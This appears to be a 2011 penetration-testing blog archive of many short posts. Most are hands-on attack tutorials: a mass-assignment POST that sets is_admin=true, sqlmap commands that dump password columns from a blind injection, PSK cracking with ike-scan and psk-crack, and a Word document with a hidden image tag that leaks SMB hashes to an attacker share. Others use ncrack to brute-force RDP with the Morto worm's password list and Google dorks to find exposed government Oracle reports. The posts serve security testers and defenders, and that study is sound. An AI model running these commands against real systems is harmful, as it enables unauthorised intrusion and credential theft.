Tuesday, December 20, 2011

Insecure Object Mapping


Over the last two cycles of OWASP top 10, insecure direct object reference has been included as major security risk. An object reference is exposed and people can manipulate that to access other objects they aren’t supposed to. But an apparently lesser-known problem is when the object itself is directly exposed. This happens when an object maps user-controlled form data directly to it’s properties with out validation.

Perhaps this issue gets less press because every language calls this problem something different. In ruby, people call this mass assignment. In .NET and Java it’s often referred to as reflection binding. Regardless of name, it is how the object obtains it’s data which is of concern.

In ruby, vulnerable code might look like this:

     @foo = Foo.new(params[:foo])

The params call wants to make life easy and will automagically map any form data that matches the object’s parameters for you—unless you say otherwise. This is a very common convention used in MVC frameworks, because manually mapping a form POST to an object is annoying. The problem here is that it makes no difference to the controller whether you’ve exposed that field in the presentation layer. It just has to exist on the object.

In other words-- if you were updating a product quantity for your shopping cart, you might be able to change the price by guessing that a price field exists. Just add the price field to your POST parameters and it might override the value. This approach can be effective—but it is mostly a guessing game at that point. Some frameworks let you throw tons of arbitrary data and whatever sticks, sticks. Others will barf on invalid parameters.

There is a second route, however, which is why vulnerability deserves more attention. When I said that you are allowed to map to anything on the object, I meant it. You can map complex objects to other complex objects, as far as they related to each other. Lets look at an example in C#:

     public class Foo { 
          public string name { get; set;} 
          public Bar myBar { get; set;}
     }

     public class Bar { 
          public string name { get; set;} 
          public bool is_admin = { get; set;} 
     }

Two basic classes, foo and bar. Foo has a reference to bar. In MVC.Net, you bind a controller action to “create” Foo as such:
 

     public class FooController { 
          [HttpPost] 
          public ActionResult Create (Foo foo){
               /* save Foo to database */ 
               return View(); 
          } 
     }

Behind the scenes, the framework maps all of the form data directly into the foo object. Developers also sometimes do this directly by calling the UpdateModel() function. In either usage, if someone sent a malicious POST to the “Create” view:
 

     Foo.Bar.name=“hello”&Foo.Bar.is_admin=true&Foo.name=“myfoo”;

You’d end up with a full fleshed out object where:
 

     Foo.name = “myfoo” 
     Foo.Bar.name = “hello” 
     Foo.Bar.is_admin = true

The Bar object is instantiated automatically through it’s empty constructor, and it’s properties are mapped as well. Any reference the exposed object has, you can bind to. This also works for arrays of simple or complex types too. If instead of a single instance you had an array or List<Bar> you would just do the following:
 

     Foo.Bar[0].name=“hello”&Foo.Bar[0].is_admin=true

With out any other validations, this is all kosher.

In the wild I’ve used this attack to escalate privileges by updating my profile and walking down to a permissions table. I’ve also run across places where you could register every user to come to an event. And another instance where you could take over other people’s blog posts simply by editing your own profile.

If you search for this during tests, here are some key things I’ve learned:

  1. This vulnerability is best identified with access to source code—and very few developers seem to protect against it.
  2. When reviewing code, pay attention to how the constructor works and how fields are set on the object. Some properties are set via functions and you can’t bind them directly. Other objects don’t have empty constructors. This causes the attack to fail.
  3. I frequently find this vulnerability on “update” and “create” controller actions.
  4. You can, and I have, found this w/o source—its just harder. You do so by creating a loose type map through browsing the site.
You can create a type map by following a process like this:
  • Going to the object's “create” page and note all the form fields that are there. That is your basic “object”. As you see these objects in other places on the site, they might reveal more about their structure.
  • The site will guide you in what you need to know about object relationships. If you are looking at your cart, and it has a list of products & their details-- the cart object has a list of products.
  • For everything else, there are common object relationships you can just assert. Carts do generally have products, just as people generally have permissions. Take some time and look over common object models on the interwebs.
This attack route exists on pretty much every MVC based framework. In particular, Spring, Struts, MVC.Net and Ruby on Rails are all vulnerable. Maybe others, but those are so popular I’ve not really looked much deeper into it.

It is true that developers can prevent this by white listing specific fields to bind—but they don’t. The whole point of the convenience functions is convenience. If you’ve built an MVC application and didn’t go out of your way to protect against this—you are most likely vulnerable to it.

Happy hunting.


-kuzushi
Kuzushi

Tuesday, December 13, 2011

Not 0wning That ColdFusion Server but Helping...


Stephen, @averagesecguy, wrote a post on owning a ColdFusion server. its pretty good and he wrote some code to help things along.

Code: https://github.com/averagesecurityguy/scripts

I thought I'd add to the conversation with some stuff I found doing CF research. The code he wrote and the metasploit module works great if things are in their default locations. Of course, this will never be the case when you are on a PT and need to break into that mofro.

Anyway, there is a misconfiguration that, when its present, can greatly help you exploit that locale traversal attack. Alot of time you can get the sha1.js and verify that the patch is not applied.


Anyway, more than once I've gotten that far but the host was Linux and locating the password.properties file failed. You're essentially guessing blind. So what i discovered is that sometimes the componentlist.cfm [Site/CFIDE/componentutils/componentlist.cfm] file is available. It looks like this:


Click on one of the components and you get full path to the installed component:

Not the best example, because stuff is where we would expect it to be. This one is better:


Now you know where to direct that directory traversal to get the proper file.

Other reading:
http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/
CG

Sunday, December 11, 2011

Root that Motorola Xoom and Get You Some BT5


Rooting the Xoom and putting BT5 on it...

Check out

http://wiki.rootzwiki.com/Motorola_Xoom

For instructions to get android sdk (adb/fastboot) up and running. fastboot wasnt in the current sdk. i downloaded release 1.6.r1 from http://developer.android.com/sdk/older_releases.html and put that in my platform-tools directory.

Links for the root image and what not are busted there, so go to

http://www.xoomforums.com/forum/motorola-xoom-development/9621-root-universal-xoom-root-any-xoom-any-update.html

Follow instructions. make sure to copy the Xoom-Universal-Root.zip to EXTERNAL sdcard before you start :-)

I followed the instructions exactly as written and after reboot the Xoom was rooted.

For BT5:

go here http://www.backtrack-linux.org/downloads/, download BT5 for ARM.

unzip file, follow instructions in readme. It takes awhile to copy and extract things. I had two adb shells so i could watch the progress.



Similar instructions here: http://www.secmaniac.com/blog/2011/05/15/backtrack-5-on-motorola-xoom-in-10-minutes-or-less/

The result:
Of course, about 5 seconds of trying to type on it made me not think it was so cool. So if there is an easy way to make it suck less to send text the console let me know.
CG

Friday, December 9, 2011

SQLMap -- Searching Databases for Specific Columns/Data & Extracting from Specific Columns


So assuming we have some sort of SQL Injection in the application (Blind in this case) and we've previously dumped all the available databases (--dbs), we now want to search for columns with 'password' in them.

To search all databases for 'password'
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --time-sec=1 --search -C 'password'
To search a specific database for 'password'
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --time-sec=1 --search -D 'MYDATABASE' -C 'password'

**note, that once sqlmap was done with 'MYDATABASE' it checked the rest of the DBs**

[15:28:17] [INFO] fetching columns LIKE 'password' for table 'dbo.mytable' on database 'MYDATABASE'
You'll get asked:
do you want sqlmap to consider provided column(s):

[1] as LIKE column names (default)
[2] as exact column names
> 1
You'll want to give it a 1 first time around, it will probably give you stuff like this:
[15:27:38] [INFO] retrieved: 2
[15:28:22] [INFO] retrieved: Password
[15:29:18] [INFO] retrieved: PrintPasswords
We now know that we want to go back and enumerate/dump the column values from dbo.mytable and database MYDATABASE to see if there is anything good there. Mostly likely there is also a userID or LogonId in there we need to extract as well.
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --columns -T dbo.mytable -D MYDATABASE --time-sec=1
You could also just do a dump if you want to start grabbing data
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -T dbo.mytable -D MYDATABASE --time-sec=1
If you just want to pull a certain number of rows, you can also give a --start and --stop switch (--start=1 --stop=10) <--sometimes works, sometimes doesnt. Not sure whats up with that.
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -T dbo.mytable -D MYDATABASE --time-sec=1 --start=1 --stop=10
If you just want to just pull out certain columns you can do something like this (assuming columns LogonId and Password):
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -C LogonId,Password -T dbo.mytable -D MYDATABASE --time-sec=1 --start=1 --stop=10
I'm sure I just committed some SQLMap sins, so please correct me (like last time) :-)

-CG
CG

Wednesday, December 7, 2011

Aggressive Mode VPN -- IKE-Scan, PSK-Crack, and Cain


There hasnt been much in the way of updates on breaking into VPN servers that have aggressive mode enabled.

ike-scan is probably still your best bet.

If you have no idea what i'm talking about go read this:
http://www.sersc.org/journals/IJAST/vol8/2.pdf and
http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf

In IKE Aggressive mode the authentication hash based on a preshared key (PSK) is transmitted as response to the initial packet of a vpn client that wants to establish an IPSec Tunnel (Hash_R). This hash is not encrypted. It's possible to capture these packets using a sniffer, for example tcpdump and start dictionary or brute force attack against this hash to recover the PSK.

This attack only works in IKE aggressive mode because in IKE Main Mode the hash is already encrypted. Based on such facts IKE aggressive mode is not very secure.

It looks like this:
$ sudo ike-scan 192.168.207.134
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

192.168.207.134 Notify message 14 (NO-PROPOSAL-CHOSEN) HDR=(CKY-R=f320d682d5c73797)
Ending ike-scan 1.9: 1 hosts scanned in 0.096 seconds (10.37 hosts/sec).
0 returned handshake; 1 returned notify

$ sudo ike-scan -A 192.168.207.134
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ikescan/)

192.168.207.134 Aggressive Mode Handshake returned HDR=(CKY-R=f320d6XXXXXXXX) SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=12f5f28cXXXXXXXXXXXXXXX (Cisco Unity) VID=afcad71368a1XXXXXXXXXXXXXXX(Dead Peer Detection v1.0) VID=06e7719XXXXXXXXXXXXXXXXXXXXXX VID=090026XXXXXXXXXX (XAUTH) KeyExchange(128 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.207.134) Nonce(20 bytes) Hash(16 bytes)
To save with some output:
$ sudo ike-scan -A 192.168.207.134 --id=myid -P192-168-207-134key
Once you have you psk file to crack you're stuck with two options psk-crack and cain

psk-crack is fairly rudamentary

to brute force:

$psk-crack -b 5 192-168-207-134key
Running in brute-force cracking mode
Brute force with 36 chars up to length 5 will take up to 60466176 iterations

no match found for MD5 hash 5c178d[SNIP]
Ending psk-crack: 60466176 iterations in 138.019 seconds (438099.56 iterations/sec)
Default is charset is "0123456789abcdefghijklmnopqrstuvwxyz" can be changed with --charset=
$ psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
Running in brute-force cracking modde
Brute force with 63 chars up to length 5 will take up to 992436543 iterations
To dictionary attack:

$psk-crack -d /path/to/dictionary 192-168-207-134key
Running in dictionary cracking mode

no match found for MD5 hash 5c178d[SNIP]
Ending psk-crack: 14344876 iterations in 33.400 seconds (429483.14 iterations/sec)
You may find yourself wanting a bit more flexibility or options during bruteforcing or dictionary attacking (i.e. character substition). For this you'll need to use Cain. The problem I ran in to was Cain is a Windows tool and ike-scan is *nix. I couldnt get the windows tool that is floating around to work. Solution...run in vmware and have Cain sniff on your VMware interface. The PSK should show up in passwords of the sniffer tab, then you can select and "send to cracker". Its slow as hell, but more options than psk-crack.


CG

Tuesday, November 29, 2011

Embeding A Link To A Network Share In A Word Doc


Someone asked me how to embed an HTML Link to an smb share into a word doc. End result would be to use the capture/server/smb or exploit/windows/exploit/smb/smb_relay modules. Easy right? Well it wasn't THAT easy...

In office 2010 when I'd go to pull in a picture to the document by adding a picture from a network share the picture would become part of the doc and not be retrieved every time the document opened. The solution was to add some html to the document.

I ended up addind the following code to the office document (replace "[" or "]" with "<" or ">":

[html][body][img src="\\192.168.26.133\share\pwn.jpeg"
width=1 height=1][/body][html]
Once that is done go to insert-->object--text from file-->select your HTML file

Once that is done, save and open the document, if all is well you'll see the SMB requests to the network share you specified and if you are running the smb capture module you should see some traffic. Screenshot below shows the goods...I do realize the LM hashes are missing from smb capture screenie (disabled on windows 7?) but i was too lazy to install office on a VM just for the screenshot.



If this doesnt work for anyone let me know.





CG

Sunday, November 27, 2011

Oracle Report Server - 2-cent hack trick


I am now working on pentest in a government unit in Hong Kong, they simply expose numerous sexy confidential reports in their Oracle Report Server:

I would like to highlight two interesting points:
1. Execute servlet commands
http://reports.somethingoracle.com/reports/rwservlet

2. Get some confidential reports from Google or target
inurl:reports/rwservlet

For example, you could know other project fund from government
https://app.somethingoracle.com/reports/rwservlet?epm+report=epm345_stip_report.rdf+p_stip_year=2009+p_incld_transit=YES+p_break_type=R+p_draft_rept=NO

Enjoy :)

- Darkfloyd
Dark Floyd

Tuesday, November 22, 2011

Oracle Web Hacking Part II


Part II of the articles based on my Hacking Oracle Web Applications talk was posted on EthicalHacker.net today. Head over there to check it out.

Oracle Web Hacking Part II

Oracle Web Hacking Part I
CG

Sunday, November 13, 2011

Weekly "That's Interesting" Wrap-Up 18 Nov 2011


Break into other people's vuln scanners...or just waste your pentester's time...
https://github.com/kost/vulnscan-pwcrack

TrueCrypt guesser is pretty neat too
https://github.com/kost/tc-guesser

unlock with my face, or a picture of my face...no difference :-<
http://www.youtube.com/watch?v=BwfYSR7HttA

signing malware with legit certs...booyah
http://www.f-secure.com/weblog/archives/00002269.html

cracking Siri
http://applidium.com/en/news/cracking_siri/

HBGary: The New Battlefield: Fighting and Defeating APT Attacks in the Enterprise
http://www.hbgary.com/attachments/thenewbattlefield.pdf

*You can stop reading at the beginning of the sales pitch :-)




CG

Friday, November 11, 2011

Weekly "That's Interesting" Wrap-Up 11 Nov 2011


CG

Thursday, November 10, 2011

Lets Get Real


We work in a variety of large environments, networks from 30k hosts up to 100k hosts and like many of you one of our jobs is to provide security advice to our customers. In the infosec industry many times this advice involves recommending things like patching, AV selection, FW rules, SEIMs, reverse engineering tools, app review, etc. (and most often purchasing more assessments ;)

However what we are finding most often is many places aren't even ready to deal with implementing advanced security as their basic IT operations are not in order. How many times have you pen tested a customer and heard "oh yeh that belongs to the desktop support group, good luck getting anything done there"?

Many times we have generated a number of serious alerts on a sensitive server including the use of stolen cached domain admin credentials, password dumping tools and even rebooting the server itself. We will see a ticket generated in the support system, an admin looks at the sever, fills out the ticket and says: "AV caught the attempt and the server came back up fine" ticket closed. Often users won't report anything suspicious, even when our actions are blatant, because they are so accustomed to everything being broken and unstable.

Beyond automating patch Tuesday and keeping AV up to date, and definitely beyond exploits, memory protections and reverse engineering, the most serious problem in security is that organizations lack even basic capabilities in managing their enterprises. Who's running still running XP SP2 (a vastly less secure OS than Win7) because of the expense involved in updating the enterprise? Businesses need security help that is willing to negotiate the maze of business concerns and understand enterprise IT needs in addition to being technically astute in security.

We've been to large companies where getting a network port to plug into to start testing can take 2 weeks. Where finding someone who understands how servers are configured or even how many servers there are can be a challenge. Environments that don't know what computers are on their own networks. Sure security needs to be built into the whole process, but I wonder, have we focused too much on what we want to do and not enough on what the customer's actually need?

Its not sexy or headline generating work, but little is more critical.

Val

valsmith

Wednesday, November 2, 2011

Common mobile app vulnerabilities


After testing a fair number of mobile applications I thought I would share 3 of the most common vulnerabilities I've come across thus far. In regards to scope, when referring to "mobile applications", we really mean both the mobile application and the web-service.

"Hide-a-key-in-a-neon-pink-plastic-rock-next-to-the-front-door" storage:

This appears to be the most prevelant issue by far that I've come across. Insecure implementations include:

1) Storing plain-text credentials in a SQLite database
2) Storing XML files that contain plain-text credentials or other sensitive account details
3) Storing plain-text credentials in a system wide database (e.g. - accounts.db/Android)

Moral of the story is, if a mobile device is lost or stolen (happens way more often than it should), credentials are ripe for the picking. Physical access is not always required of course. Anyway, pretty much anyone who has spent 2 minutes on "The Googles" can find out where you are storing your metaphorical "house keys". There are solutions to this problem, for instance, I've heard great things about Android-SQLCipher and don't forget about platform API solutions as well (if your not a fan of third party libraries).

Crappy session handling:


I don't think this title will ever make its way on to an OWASP Top 10 but it certainly reflects the issue accurately. Not to say this is limited only to Mobile Apps & Web Services, far from it, it is just very common amongst them.

Examples -

So, here is a fun one, pure basic-authorization schemas . You typically see this in a SOAP-service-to-Mobile-App architecture but obviously the two aren't mutually exclusive. For those not familiar with basic-authorization, it  means the user's credentials are sent in the standard basic-auth format (Base64 encoded user:password). The problem occurs when, instead of leveraging a session handling schema, the user/password combo is sent with every request to the web-service as a means to authenticate the user for the requested resource. There are many disadvantages. Namely, if SSL isn't in play, you've increased the likelihood that the credentials will be stolen (ahhh....... lattes, croissants and good ol' packet sniffing). Additionally, because you haven't a session to destroy, there is no inactivity lock-out. Typically the creds are stored (plain-text of course) on the device, retrieved by the app and then sent in the request on a per-request basis. This means, the person on that device may not be the person you intended to view potentially sensitive information.

Another big session-related issue is leveraging device identifiers or good old client-side data to control privileges of a user. Imagine the classic parameter tampering (userid=100 becomes userid=101) but this time with the UUID of an iPhone device. The classic session identifier -> user map -> role enforcement still works so it is unnecessary to build your schema in this way.

API Keys, Test Accounts and Dirty Laundry


From test account credentials along with the test URL, which provided juicy insight into the inner workings of an architecture to the personal email addresses of developers (think - social engineering/username enumeration), the list of things put into the source code can still be fairly surprising.

These applications are reversible. Especially Android apps, between dex2jar/apktool/jd-gui.......its pretty easy to see things not intended for your eyes. Developers need to scrub sensitive data prior to sending the code out for production and treat data like its a public blog post......everyone can read it. Oh, and make sure you aren't hard-coding API or encryption keys!

Okay, so those titles will never end up on a Top 10 but the content has! I would encourage those interested to check out the OWASP Mobile Top 10 Risks and please, don't forget the project always needs additional collaborators.

Cheers,

Ken
cktricky

Tuesday, November 1, 2011

nessuscmd for scanning a host with a subset of plugins


Need to check a few specifc nessus plugins against a host?

$ sudo ./nessuscmd 192.168.1.92 -p80,443 -v -V -i 38157,10107

Starting nessuscmd 4.4.0
Scanning '192.168.1.92'...

Host 192.168.1.92 is up

Discovered open port http (80/tcp) on 192.168.1.92

[i] Plugin 10107 reported a result on port http (80/tcp) of 192.168.1.92
[i] Plugin 38157 reported a result on port http (80/tcp) of 192.168.1.92

+ Results found on 192.168.1.92
+ - Port http (80/tcp) is open
[i] Plugin ID 38157 Synopsis :
The remote web server contains a document sharing software Description : The remote web server is running SharePoint, a web interface for document management. As this interface is likely to contain sensitive information, make sure only authorized personel can log into this site See also : http://www.microsoft.com/Sharepoint/default.mspx

Solution : Make sure the proper access controls are put in place

Risk factor : None

Plugin output : The following instance of SharePoint was detected on the remote host :

Version : 12.0.0.6327
URL : http://192.168.1.92/

looks like the functionality has been there for awhile:
http://blog.tenablesecurity.com/2007/07/nessus-32-beta-.html
CG

Saturday, October 15, 2011

Weekly "That's Interesting" Wrap-Up 21 Oct 2011


TEDxRotterdam - Mikko Hypponen - safe internet will lead the future


http://youtu.be/WQgeUHlTThc

Similar to his other TED talk but worth the 20min. Its good up to "fixing things". Not sure I agree with his "fixes". I do agree with a more unified way to fight/arrest/ cyber criminals, but bottom line its still way too easy to break into stuff and still to easy to conduct Credit Card fraud. We need to adress some of that as well.

Also, I think plenty of people would disagree that anything Mac is "safe" because of market share.


OMG OMG OMG Stuxnet Part 2 or the parent of stuxnet or whatever
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf



Samples:
http://contagiodump.blogspot.com/2011/10/duqu-rat-trojan-precursor-to-next.html



Volatility Memory Forensics Federal Trojan aka R2D2

http://www.evild3ad.com/?p=1136

CG

Friday, October 7, 2011

Weekly "That's Interesting" Wrap-Up 14 Oct 2011


Bios Rootkits (mebromi)
http://blog.webroot.com/2011/09/13/mebromi-the-first-bios-rootkit-in-the-wild/

Apache reverse proxy (mod-rewrite) bypass vuln details
http://www.contextis.com/research/blog/reverseproxybypass/

CCC Analyzes government malware (In German, go go gadget google translate)
http://www.ccc.de/system/uploads/76/original/staatstrojaner-report23.pdf

http://m.zdnet.com/blog/hardware/can-you-trust-your-antivirus-solution-to-protect-you-against-governmental-backdoors-and-lawful-interception-police-trojans/15280

Tips for evading AV during Pentests
http://pen-testing.sans.org/blog/2011/10/13/tips-for-evading-anti-virus-during-pen-testing

Check out the conversation between Dave Kennedy and Rafal Los on CSOs, popping shells, #secBiz from 13 Oct
https://twitter.com/#!/dave_rel1k
https://twitter.com/#!/Wh1t3Rabbit

Lastly, from the "no more free bugs" and "hey companies, this is NOT how you behave to people that report vulns" categories

"Security researcher threatened with vulnerability repair bill"
http://www.scmagazine.com.au/News/276780,security-researcher-threatened-with-vulnerability-repair-bill.aspx
CG

Thursday, October 6, 2011

Weekly "That's Interesting" Wrap-Up 7 Oct 2011


i'm probably gonna fail miserably at regularly posting anything but F it, im motivated right now and that's what matters.

So interesting stuff this week.

DerbyCon videos are slowly being posted. they're here:
http://www.irongeek.com/i.php?page=videos/derbycon1/mainlist

Specifically, watch Chris Nickerson's talk. Its funny and has a point.
http://www.irongeek.com/i.php?page=videos/derbycon1/chris-nickerson-compliance-an-assault-on-reason

So far i've watched Carlos Perez's and Rick Redman's, both were good. Caught most of jadedsecurity's on track2, also good.

SK Hack by an Advanced Persistent Threat
http://www.commandfive.com/papers/C5_APT_SKHack.pdf

Coldfusion is interesting to me, specially with the tight java intergration. You can do alot with it. The future of coldfusion from ColdFusionJedi
http://www.coldfusionjedi.com/index.cfm/2011/10/4/My-MAX-Preso--the-future-of-ColdFusion


The rest of the stuff that was interesting is shared via google reader:
http://www.google.com/reader/shared/carnal0wnage
CG

Friday, September 30, 2011

ncrack with domain creds


little post on using ncrack to brute/check domain creds


user@ubuntu:~/pentest/msf3$ ncrack 192.168.1.52:3389,CL=2 --user=username@domain --pass=myl33tpassword -vvv -d7


Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-09-29 14:48 PDT

rdp://192.168.1.52:3389 Account credentials are valid, however, the maximum number of terminal services connections has been reached.
Discovered credentials on rdp://192.168.1.52:3389 'username@domain' 'myl33tpassword'
rdp://192.168.1.52:3389 (EID 1) Attempts: total 1 completed 1 supported 1 --- rate 0.90
rdp://192.168.1.52:3389 finished.
CG

Thursday, September 22, 2011

My Personal War Against Overuse of Memory Corruption Bugs


I remember many years ago writing my first buffer overflow, a standard stack bug privilege escalation in I think RedHat 7x which I thought was awesome. I remember writing my first SEH overwrite on windows and marveling at POP POP RET's and spending hours pouring through memory in Windbg wondering why my shellcode was getting trashed. I even remember the moment when I "got" return to libc. Somewhat in contrast to many "researcher" exploit developers and bug hunters, I also break into computers, lots of them. At last count I was well over the 100,000 mark of computers I have personally gotten into, control over and extracted data from. This is not to tell you how awesome I think I am (I'm not, there are IRC script kiddies with 10x the amount of compromises under their belt) but rather provide a statistical frame of reference for what I am going to say next.

Several years ago I decided to pull back from the memory corruption rat race, but I never really talked about why.

When breaking into computers, I almost never use memory corruption bugs. I occasionally, but rarely develop new memory corruption bugs into exploits. Memory corruption bugs IMO are a bad long term return on investment. Sure someone like Charlie Miller can crank out 100 Adobe product crashes in the blink of an eye, but how much skilled time investment is required to take a bug from a crash to a highly reliable, continuation of execution, ASLR / DEP bypassing exploit ready for serious use? Average numbers I have heard from friends who do this all day long are 1 - 3 months, with 6 months for particularly sticky bugs. How many people are there that can do this? Not many. So you have a valuable resource tied up for months at a time to produce a bug which may get discovered and published in the interm ( a process you have no real control over), patched and killed. When was the last time you heard about a really bitchin Windows 7 64bit remote? Its been a while. So you put in all that time and investment to produce a nice 0day only to watch it get killed. Then you start looking for the next one. What's the going price on the market for an 0day? 100k, 200k, etc. Expensive for something with a potentially limited life putting aside that fact that people don't patch anyway for a moment.

So what do I like instead then? I like design flaws that are integral to the way a system works and are extremely costly to fix, that don't barf a bunch of shellcode across a potentially IDS/IPS ridden wire, that simply take advantage of the way things are supposed to work anyway. Lest you think I spend all my time keylogging "password123" let me give some real world examples:

- Proprietary & custom hardware/OS and software system used for some interesting applications. System has a UDP listening service. After reversing the service binary we discovered that it takes a cleartext, unauthenticated protocol blob. The process then, based on whats in the blob, calls another process that execs a variety of system commands. One of these commands sends out a message to the various systems in the network to mount a given network file system and load specified software. So we craft our own protocol blobs build our own network file system with specially crafted malicious software and take over all the systems at once. We spoke with the designers of the system about what it would take to change it, and due to various rules and policies we were looking at 18-24 months to push out a redesign, and thats after whatever time was needed to develop the new system.

- Foreign Client/Server ERP system that handles supply chain and even has some tie ins with some SCADA components. Authentication works as follows: Client enters a username and password. Client app connects to the server and sends an authentication request with the provided Username. The server checks to see if the username exists and if so it sends a hash of the user's password back to the client app. The client app checks to see if the local password hash matches the one sent from the server and if it matches the client informs the server the the account is valid and the server then successfully authenticates the client. So yes, very broken client side authentication. But to figure that out we had to analyse the network traffic between the two as well as reverse engineer the client application and binary patch the client app to always respond with a positive match. And the data or effects gained from compromising this system are way more interesting than your windows 7 home gaming system.

- Large company virtualization cluster using hardware from a well known vendor. Servers provide remote console / kvm functionality for management. Because of a previously unknown authentication vulnerability in the remote console app we were able to boot the server to remote media under our control (i.e. a linux boot disk). We had reverse engineered the virtualization technology in question and developed a custom backdoor which we then implanted by mounting the hard drive from our remotly loaded linux boot environment, allowing us to take control of the cluster.

With the exception of the last server reboot none of these above examples generated any traffic or logs that were flagged by any security system. No IDS or AV to evade. No DEP or ASLR to get around. And low chance of these bugs getting killed due to the cost and time frame involved in fixing them.

I believe that researchers should consider putting some of their time and resources into the above types of design flaws as well as in sophisticated post-exploitation activities. The market value for memory corruption bugs will go up for a while but so will the difficulty and time required to find them, and we have often seen patch release times decrease as well. Eventually that bubble will burst.

V.

valsmith

Thursday, September 15, 2011

Where have you been!?


I've been busy... :-(

But i do have some upcoming conference speaking engagements coming up.

So. If you are heading to BruCon





















catch me and Joe McCray talk about Pentesting High Security Environments.






If you are heading to DerbyCon










Catch me and Rob Fuller talk about The Dirty Little Secrets They Didn’t Teach You In Pentesting Class


Lastly, if you'll be in Switzerland for Hashdays







You can catch me talk about From Low to Pwned.

I'll also be giving a talk at the Management workshop on Information Operations for Management (sorry the info isn't on the site yet but should be here https://www.hashdays.ch/management-session.html at some point).

I'm sure there will be more stuff in November/December its just not scheduled yet.
CG

Monday, August 29, 2011

Using ncrack to test for servers vuln to Morto worm


Looks like the Morto worm is floating around. I frequently run into just seeing 3389 open on pentests and if the local admin account is "administrator" you can beat up on it pretty good with ncrack.

hdm did a post on why/how you can find those pesky local admin accounts with weak password by using the smb_login module. post is here.

If you live where someone is gonna give you a hassle because SMB is not allowed out, you can always use ncrack to prove your point. I did a short post on it awhile back.

Anway, grab it from nmap svn, and compile, dont think the RDP plugin for it was enabled in the downloadable binaries (i didnt check...i use the svn).

The F-Secure blog has the list of passwords its using here.

Looks like this:


$ ncrack -vv -d7 --user administrator -P /home/user/morto.txt 192.168.26.137:3389,CL=2

rdp://192.168.26.137:3389 (EID 1) Login failed: 'administrator' 'admin'
rdp://192.168.26.137:3389 (EID 1) Attempts: total 1 completed 1 supported 1 --- rate 0.94
rdp://192.168.26.137:3389 (EID 2) Login failed: 'administrator' 'password'
rdp://192.168.26.137:3389 last: 0.00 current 0.50 parallelism 2
...
Discovered credentials on rdp://192.168.26.137:3389 'administrator' 'admin123'
rdp://192.168.26.137:3389 last: 0.02 current 0.01 parallelism 2
rdp://192.168.26.137:3389 Increasing connection limit to: 2
rdp://192.168.26.137:3389 (EID 30) Attempts: total 30 completed 30 supported 1 --- rate 1.62
rdp://192.168.26.137:3389 (EID 31) Login failed: 'administrator' '1234567890'
rdp://192.168.26.137:3389 finished.
rdp://192.168.26.137:3389 (EID 31) Attempts: total 31 completed 31 supported 1 --- rate 1.81
nsock_loop returned 3

Discovered credentials for rdp on 192.168.26.137 3389/tcp:
192.168.26.137 3389/tcp rdp: 'administrator' 'admin123'

Ncrack done: 1 service scanned in 18.00 seconds.
Probes sent: 31 timed-out: 0 prematurely-closed: 0

Ncrack finished.

CG

Monday, July 11, 2011

Abusing Password Resets


Dave Ferguson has beaten up on forgotten/reset password functionality for some time and recently participated in an OWASP podcast where he discussed these problems. The podcast reminded me of some techniques I've used in the past which have been successful and may be worth sharing. Accessing other user's accounts with insecurely coded forgot/reset password functionality is more common than you might think.

This posts focuses on analyzing entropy and inline password resets, two major problems with forgot/reset password functionality. To do this, we have to automate both requesting a forgot password hundreds of times and parsing thru all of the e-mails we receive. Thanks to the recently added macro support now available in Burp (thanks PortSwigger), less effort is required on our part when an application employs anti-automation features to prevent such attempts.

For those not familiar with BurpSuite's Macro support, lets walk thru this.

So here is a picture of the email reset we've been sent:




To initiate a password reset request it is a four part request & response pair sequence. This sequence is saved in our proxy history. We need to navigate to Options > Sessions > Macros > New and highlight the four messages saved in the proxy history to create and configure the new macro.

Take a look at the screenshot below:




Okay now we need to configure each individual request/response to extract data we want. We have to grab a JSESSIONID and a struts token. Lets highlight the first request/response and configure.


Example of configuring one of the items



You'll notice that for the first request I've chosen to not use cookies in the cookie jar. This is because I want to start the sequence clean and without a cookie.


Notice the struts.token.name and struts.token are dynamic and changing so we derive these from the response. The rest are preset values like email and birthdate (no, not my real birthdate). One thing that is important to notice is that I've decided to uncheck URL encode for the email portion. It is already URL encoded so no need. Otherwise it will cause problems.



Name the Macro 

The next piece requires you to add the macro to a session rule. Again Options > Sessions > Session Handling > New. Highlight the macro you'd like to use.






Next, you'll need to add the pages to scope:




Now send the original, first request (I do this at the proxy history portion of Burp) over to intruder, select null payloads and set it for a number that is large enough to collect a big portion of passwords so we can review entropy. You'll see below that Intruder is configured to send the password reset sequence 800 times. Again, this will initiate the macro each time, so you are essentially resetting the password 800 times.


Next we need to retrieve the emails from gmail and review them for entropy. Here is a script I've written to retrieve emails from gmail, parse for the password values and write to a file called tokens.txt:



Lines 11-17:

Line 12: File we will place all of our emails in (make sure you create an inbox folder)
Line 13: Initialize Pop class
Line 14: Enable SSL
Line 15: Replace with your username and password
Line 16: Call the check_for_emails method with the pop obj

Lines 20-27:

Line 21-22: If we no emails, print that fact out to the screen
Line 24-25: We have emails, print that fact to the screen and call place_emails_into_file method with the pop object.

Lines 31-36:

Line 31: Iterate thru pop array
Line 32: Open the file (line 12)
Line 33: Write the messages to the file
Line 36: Call the create_file_with_tokens method


Lines 40-53:

Line 41: Create a new_file object which is a file called tokens.txt
Line 42: Create a read_file object which reads the inbox/emails.txt file from Line 12
Line 43: Begin reading each line from the read_file
Lines 44-46: If the line matches the "password: somepassword" write it to a file.
Line 53: Kick the whole thing off

